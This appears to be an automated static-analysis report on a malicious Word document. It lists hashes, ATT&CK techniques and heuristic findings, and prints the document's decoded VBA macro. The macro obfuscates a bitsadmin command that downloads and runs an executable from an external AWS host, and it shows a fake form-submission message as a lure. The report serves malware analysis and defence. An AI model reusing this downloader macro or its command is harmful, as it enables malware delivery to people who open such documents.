Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 9639f3ab5fed2160…

MALICIOUS

Office (OLE)

50.5 KB Created: 2018-04-18 15:17:00 Authoring application: Microsoft Office Word First seen: 2019-01-12
MD5: 63e82d42cf18732af46c42f4fab3bf64 SHA-1: 21fffec6efe3f792430f3fde9c2ae7dc988a4346 SHA-256: 9639f3ab5fed2160c1cd3c5f06f454f1335103e141f3d461628bd944d64f0125
122 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample contains VBA macros that use obfuscated strings to construct a command line. This command line, when deobfuscated, downloads a file named 'syslog9.exe' from 'http://ec2-54-158-67-5.compute-1.amazonaws.com/dss/syslog9.exe' to 'C:\Windows\Temp\syslog9.exe' and then executes it. The document body suggests a form that requires macros to be enabled, indicating a social engineering lure.

Heuristics 4

  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    'MsgBox (Scoobie)
Shell (Scoobie)
MsgBox ("Your form has been securely submitted.  Please allow up to 48 hours for changes to be reflected on the Resource Center portal.")
  • Reference to PowerShell high SC_STR_POWERSHELL
    Reference to PowerShell
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1434 bytes
SHA-256: 50ae6e133b90b7b70710587a1c2205741abc6a95c7e09ec925501f3b925c72d9
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "CommandButton1, 5, 0, MSForms, CommandButton"
Attribute VB_Control = "CheckBox1, 4, 1, MSForms, CheckBox"
Attribute VB_Control = "TextBox4, 3, 2, MSForms, TextBox"
Attribute VB_Control = "TextBox3, 2, 3, MSForms, TextBox"
Attribute VB_Control = "TextBox2, 1, 4, MSForms, TextBox"
Attribute VB_Control = "TextBox1, 0, 5, MSForms, TextBox"
Private Sub CommandButton1_Click()
submit
End Sub

Attribute VB_Name = "Module1"
Sub submit()
Scoobie = "c09 /C OU3sa90En /3ransfer /9ownload /priorE3y hEgh h33p://ec2-54-158-67-5.co0pu3e-1.a0azonaQs.co0/dss/syslog9.ZxZ C:\Qindows\3e0p\syslog9.ZxZ && start C:\Qindows\3e0p\syslog9.ZxZ"
Scoobie = Replace(Scoobie, "Z", "e")
Scoobie = Replace(Scoobie, "O", "b")
Scoobie = Replace(Scoobie, "U", "i")
Scoobie = Replace(Scoobie, "3", "t")
Scoobie = Replace(Scoobie, "9", "d")
Scoobie = Replace(Scoobie, "E", "i")
Scoobie = Replace(Scoobie, "Q", "w")
Scoobie = Replace(Scoobie, "0", "m")
'MsgBox (Scoobie)
Shell (Scoobie)
MsgBox ("Your form has been securely submitted.  Please allow up to 48 hours for changes to be reflected on the Resource Center portal.")
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.